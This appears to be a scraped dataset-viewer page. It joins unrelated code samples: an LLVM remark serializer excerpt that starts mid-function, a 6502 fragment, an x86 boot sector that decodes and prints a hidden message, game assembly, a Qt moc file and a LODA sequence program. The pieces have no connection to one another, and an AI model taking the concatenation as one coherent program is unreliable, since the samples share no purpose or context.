Abbrev->Add(BitCodeAbbrevOp(BitCodeAbbrevOp::VBR, 7)); // File
Abbrev->Add(BitCodeAbbrevOp(BitCodeAbbrevOp::Fixed, 32)); // Line
Abbrev->Add(BitCodeAbbrevOp(BitCodeAbbrevOp::Fixed, 32)); // Column
RecordRemarkArgWithDebugLocAbbrevID =
Bitstream.EmitBlockInfoAbbrev(REMARK_BLOCK_ID, Abbrev);
}
// An argument entry with no debug location attached.
{
setRecordName(RECORD_REMARK_ARG_WITHOUT_DEBUGLOC, Bitstream, R,
RemarkArgWithoutDebugLocName);
auto Abbrev = std::make_shared<BitCodeAbbrev>();
Abbrev->Add(BitCodeAbbrevOp(RECORD_REMARK_ARG_WITHOUT_DEBUGLOC));
Abbrev->Add(BitCodeAbbrevOp(BitCodeAbbrevOp::VBR, 7)); // Key
Abbrev->Add(BitCodeAbbrevOp(BitCodeAbbrevOp::VBR, 7)); // Value
RecordRemarkArgWithoutDebugLocAbbrevID =
Bitstream.EmitBlockInfoAbbrev(REMARK_BLOCK_ID, Abbrev);
}
}
void BitstreamRemarkSerializerHelper::setupBlockInfo() {
// Emit magic number.
for (const char C : ContainerMagic)
Bitstream.Emit(static_cast<unsigned>(C), 8);
Bitstream.EnterBlockInfoBlock();
// Setup the main metadata. Depending on the container type, we'll setup the
// required records next.
setupMetaBlockInfo();
switch (ContainerType) {
case BitstreamRemarkContainerType::SeparateRemarksMeta:
// Needs a string table that the separate remark file is using.
setupMetaStrTab();
// Needs to know where the external remarks file is.
setupMetaExternalFile();
break;
case BitstreamRemarkContainerType::SeparateRemarksFile:
// Contains remarks: emit the version.
setupMetaRemarkVersion();
// Contains remarks: emit the remark abbrevs.
setupRemarkBlockInfo();
break;
case BitstreamRemarkContainerType::Standalone:
// Contains remarks: emit the version.
setupMetaRemarkVersion();
// Needs a string table.
setupMetaStrTab();
// Contains remarks: emit the remark abbrevs.
setupRemarkBlockInfo();
break;
}
Bitstream.ExitBlock();
}
void BitstreamRemarkSerializerHelper::emitMetaBlock(
uint64_t ContainerVersion, Optional<uint64_t> RemarkVersion,
Optional<const StringTable *> StrTab, Optional<StringRef> Filename) {
// Emit the meta block
Bitstream.EnterSubblock(META_BLOCK_ID, 3);
// The container version and type.
R.clear();
R.push_back(RECORD_META_CONTAINER_INFO);
R.push_back(ContainerVersion);
R.push_back(static_cast<uint64_t>(ContainerType));
Bitstream.EmitRecordWithAbbrev(RecordMetaContainerInfoAbbrevID, R);
switch (ContainerType) {
case BitstreamRemarkContainerType::SeparateRemarksMeta:
assert(StrTab != None && *StrTab != nullptr);
emitMetaStrTab(**StrTab);
assert(Filename != None);
emitMetaExternalFile(*Filename);
break;
case BitstreamRemarkContainerType::SeparateRemarksFile:
assert(RemarkVersion != None);
emitMetaRemarkVersion(*RemarkVersion);
break;
case BitstreamRemarkContainerType::Standalone:
assert(RemarkVersion != None);
emitMetaRemarkVersion(*RemarkVersion);
assert(StrTab != None && *StrTab != nullptr);
emitMetaStrTab(**StrTab);
break;
}
Bitstream.ExitBlock();
}
void BitstreamRemarkSerializerHelper::emitRemarkBlock(const Remark &Remark,
StringTable &StrTab) {
Bitstream.EnterSubblock(REMARK_BLOCK_ID, 4);
R.clear();
R.push_back(RECORD_REMARK_HEADER);
R.push_back(static_cast<uint64_t>(Remark.RemarkType));
R.push_back(StrTab.add(Remark.RemarkName).first);
R.push_back(StrTab.add(Remark.PassName).first);
R.push_back(StrTab.add(Remark.FunctionName).first);
Bitstream.EmitRecordWithAbbrev(RecordRemarkHeaderAbbrevID, R);
if (const Optional<RemarkLocation> &Loc = Remark.Loc) {
R.clear();
R.push_back(RECORD_REMARK_DEBUG_LOC);
R.push_back(StrTab.add(Loc->SourceFilePath).first);
R.push_back(Loc->SourceLine);
R.push_back(Loc->SourceColumn);
Bitstream.EmitRecordWithAbbrev(RecordRemarkDebugLocAbbrevID, R);
}
if (Optional<uint64_t> Hotness = Remark.Hotness) {
R.clear();
R.push_back(RECORD_REMARK_HOTNESS);
R.push_back(*Hotness);
Bitstream.EmitRecordWithAbbrev(RecordRemarkHotnessAbbrevID, R);
}
for (const Argument &Arg : Remark.Args) {
R.clear();
unsigned Key = StrTab.add(Arg.Key).first;
unsigned Val = StrTab.add(Arg.Val).first;
bool HasDebugLoc = Arg.Loc != None;
R.push_back(HasDebugLoc ? RECORD_REMARK_ARG_WITH_DEBUGLOC
: RECORD_REMARK_ARG_WITHOUT_DEBUGLOC);
R.push_back(Key);
R.push_back(Val);
if (HasDebugLoc) {
R.push_back(StrTab.add(Arg.Loc->SourceFilePath).first);
R.push_back(Arg.Loc->SourceLine);
R.push_back(Arg.Loc->SourceColumn);
}
Bitstream.EmitRecordWithAbbrev(HasDebugLoc
? RecordRemarkArgWithDebugLocAbbrevID
: RecordRemarkArgWithoutDebugLocAbbrevID,
R);
}
Bitstream.ExitBlock();
}
void BitstreamRemarkSerializerHelper::flushToStream(raw_ostream &OS) {
OS.write(Encoded.data(), Encoded.size());
Encoded.clear();
}
StringRef BitstreamRemarkSerializerHelper::getBuffer() {
return StringRef(Encoded.data(), Encoded.size());
}
BitstreamRemarkSerializer::BitstreamRemarkSerializer(raw_ostream &OS,
SerializerMode Mode)
: RemarkSerializer(Format::Bitstream, OS, Mode),
Helper(BitstreamRemarkContainerType::SeparateRemarksFile) {
assert(Mode == SerializerMode::Separate &&
"For SerializerMode::Standalone, a pre-filled string table needs to "
"be provided.");
// We always use a string table with bitstream.
StrTab.emplace();
}
BitstreamRemarkSerializer::BitstreamRemarkSerializer(raw_ostream &OS,
SerializerMode Mode,
StringTable StrTabIn)
: RemarkSerializer(Format::Bitstream, OS, Mode),
Helper(Mode == SerializerMode::Separate
? BitstreamRemarkContainerType::SeparateRemarksFile
: BitstreamRemarkContainerType::Standalone) {
StrTab = std::move(StrTabIn);
}
void BitstreamRemarkSerializer::emit(const Remark &Remark) {
if (!DidSetUp) {
// Emit the metadata that is embedded in the remark file.
// If we're in standalone mode, serialize the string table as well.
bool IsStandalone =
Helper.ContainerType == BitstreamRemarkContainerType::Standalone;
BitstreamMetaSerializer MetaSerializer(
OS, Helper,
IsStandalone ? &*StrTab : Optional<const StringTable *>(None));
MetaSerializer.emit();
DidSetUp = true;
}
assert(DidSetUp &&
"The Block info block and the meta block were not emitted yet.");
Helper.emitRemarkBlock(Remark, *StrTab);
Helper.flushToStream(OS);
}
std::unique_ptr<MetaSerializer> BitstreamRemarkSerializer::metaSerializer(
raw_ostream &OS, Optional<StringRef> ExternalFilename) {
assert(Helper.ContainerType !=
BitstreamRemarkContainerType::SeparateRemarksMeta);
bool IsStandalone =
Helper.ContainerType == BitstreamRemarkContainerType::Standalone;
return std::make_unique<BitstreamMetaSerializer>(
OS,
IsStandalone ? BitstreamRemarkContainerType::Standalone
: BitstreamRemarkContainerType::SeparateRemarksMeta,
&*StrTab, ExternalFilename);
}
void BitstreamMetaSerializer::emit() {
Helper->setupBlockInfo();
Helper->emitMetaBlock(CurrentContainerVersion, CurrentRemarkVersion, StrTab,
ExternalFilename);
Helper->flushToStream(OS);
}
|
clc
adc {c1},x
|
org 0X7C00
bits 16
mov ax, 0
mov ds, ax
cli
main:
int 0x13
mov ah, 0x02
mov al, 1
mov cl, 2
mov ch, 0
mov dh, 0
mov bx, 0x7E00
int 0x13
mov di, 0x8000
call decrypt
mov si, 0x8000
call print
hlt
decrypt:
push ax
push bx
push di
mov bx, 0x7E00
mov si, code
read_byte:
lodsb
cmp ax, 10
je reassign_si
cmp bx, 0x8000
je end_decrypt
mov dx, [bx]
sub dx, ax
mov [di], dx
inc di
inc bx
jmp read_byte
reassign_si:
mov si, code
jmp read_byte
end_decrypt:
pop di
pop bx
pop ax
ret
print:
push si
mov ah, 0x0E
read_text:
lodsb
or al, al
jz end_print
int 0x10
jmp read_text
end_print:
pop si
ret
code: db 3, 9, 8, 0, 6, 7, 10
times 510 - ($ - $$) db 0
dw 0xAA55 |
; ---------------------------------------------------------------------------
; Subroutine translating object speed to update object position
; ---------------------------------------------------------------------------
; ||||||||||||||| S U B R O U T I N E |||||||||||||||||||||||||||||||||||||||
SpeedToPos:
move.l obX(a0),d2
move.l obY(a0),d3
move.w obVelX(a0),d0 ; load horizontal speed
ext.l d0
asl.l #8,d0 ; multiply speed by $100
add.l d0,d2 ; add to x-axis position
move.w obVelY(a0),d0 ; load vertical speed
ext.l d0
asl.l #8,d0 ; multiply by $100
add.l d0,d3 ; add to y-axis position
move.l d2,obX(a0) ; update x-axis position
move.l d3,obY(a0) ; update y-axis position
rts
; End of function SpeedToPos |
/****************************************************************************
** Meta object code from reading C++ file 'mainwindow.h'
**
** Created by: The Qt Meta Object Compiler version 67 (Qt 5.9.1)
**
** WARNING! All changes made in this file will be lost!
*****************************************************************************/
#include "../gobang/mainwindow.h"
#include <QtCore/qbytearray.h>
#include <QtCore/qmetatype.h>
#if !defined(Q_MOC_OUTPUT_REVISION)
#error "The header file 'mainwindow.h' doesn't include <QObject>."
#elif Q_MOC_OUTPUT_REVISION != 67
#error "This file was generated using the moc from 5.9.1. It"
#error "cannot be used with the include files from this version of Qt."
#error "(The moc has changed too much.)"
#endif
QT_BEGIN_MOC_NAMESPACE
QT_WARNING_PUSH
QT_WARNING_DISABLE_DEPRECATED
struct qt_meta_stringdata_MainWindow_t {
QByteArrayData data[3];
char stringdata0[20];
};
#define QT_MOC_LITERAL(idx, ofs, len) \
Q_STATIC_BYTE_ARRAY_DATA_HEADER_INITIALIZER_WITH_OFFSET(len, \
qptrdiff(offsetof(qt_meta_stringdata_MainWindow_t, stringdata0) + ofs \
- idx * sizeof(QByteArrayData)) \
)
static const qt_meta_stringdata_MainWindow_t qt_meta_stringdata_MainWindow = {
{
QT_MOC_LITERAL(0, 0, 10), // "MainWindow"
QT_MOC_LITERAL(1, 11, 7), // "restart"
QT_MOC_LITERAL(2, 19, 0) // ""
},
"MainWindow\0restart\0"
};
#undef QT_MOC_LITERAL
static const uint qt_meta_data_MainWindow[] = {
// content:
7, // revision
0, // classname
0, 0, // classinfo
1, 14, // methods
0, 0, // properties
0, 0, // enums/sets
0, 0, // constructors
0, // flags
0, // signalCount
// slots: name, argc, parameters, tag, flags
1, 0, 19, 2, 0x08 /* Private */,
// slots: parameters
QMetaType::Void,
0 // eod
};
void MainWindow::qt_static_metacall(QObject *_o, QMetaObject::Call _c, int _id, void **_a)
{
if (_c == QMetaObject::InvokeMetaMethod) {
MainWindow *_t = static_cast<MainWindow *>(_o);
Q_UNUSED(_t)
switch (_id) {
case 0: _t->restart(); break;
default: ;
}
}
Q_UNUSED(_a);
}
const QMetaObject MainWindow::staticMetaObject = {
{ &QMainWindow::staticMetaObject, qt_meta_stringdata_MainWindow.data,
qt_meta_data_MainWindow, qt_static_metacall, nullptr, nullptr}
};
const QMetaObject *MainWindow::metaObject() const
{
return QObject::d_ptr->metaObject ? QObject::d_ptr->dynamicMetaObject() : &staticMetaObject;
}
void *MainWindow::qt_metacast(const char *_clname)
{
if (!_clname) return nullptr;
if (!strcmp(_clname, qt_meta_stringdata_MainWindow.stringdata0))
return static_cast<void*>(const_cast< MainWindow*>(this));
return QMainWindow::qt_metacast(_clname);
}
int MainWindow::qt_metacall(QMetaObject::Call _c, int _id, void **_a)
{
_id = QMainWindow::qt_metacall(_c, _id, _a);
if (_id < 0)
return _id;
if (_c == QMetaObject::InvokeMetaMethod) {
if (_id < 1)
qt_static_metacall(this, _c, _id, _a);
_id -= 1;
} else if (_c == QMetaObject::RegisterMethodArgumentMetaType) {
if (_id < 1)
*reinterpret_cast<int*>(_a[0]) = -1;
_id -= 1;
}
return _id;
}
QT_WARNING_POP
QT_END_MOC_NAMESPACE
|
CopycatsHouse2F_Object:
db $a ; border block
db 1 ; warps
warp 7, 1, 2, COPYCATS_HOUSE_1F
db 2 ; signs
sign 3, 5, 6 ; CopycatsHouse2FText6
sign 0, 1, 7 ; CopycatsHouse2FText7
db 5 ; objects
object SPRITE_BRUNETTE_GIRL, 4, 3, WALK, 0, 1 ; person
object SPRITE_BIRD, 4, 6, WALK, 2, 2 ; person
object SPRITE_SLOWBRO, 5, 1, STAY, DOWN, 3 ; person
object SPRITE_BIRD, 2, 0, STAY, DOWN, 4 ; person
object SPRITE_CLEFAIRY, 1, 6, STAY, RIGHT, 5 ; person
; warp-to
warp_to 7, 1, COPYCATS_HOUSE_2F_WIDTH ; COPYCATS_HOUSE_1F
|
; A021373: Decimal expansion of 1/369.
; 0,0,2,7,1,0,0,2,7,1,0,0,2,7,1,0,0,2,7,1,0,0,2,7,1,0,0,2,7,1,0,0,2,7,1,0,0,2,7,1,0,0,2,7,1,0,0,2,7,1,0,0,2,7,1,0,0,2,7,1,0,0,2,7,1,0,0,2,7,1,0,0,2,7,1,0,0,2,7,1,0,0,2,7,1,0,0,2,7,1,0,0,2,7,1,0,0,2,7
lpb $0
add $0,2
mov $1,7
sub $1,$0
bin $0,$1
add $2,$0
gcd $0,$1
mul $1,$2
lpe
div $1,6
mov $0,$1
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.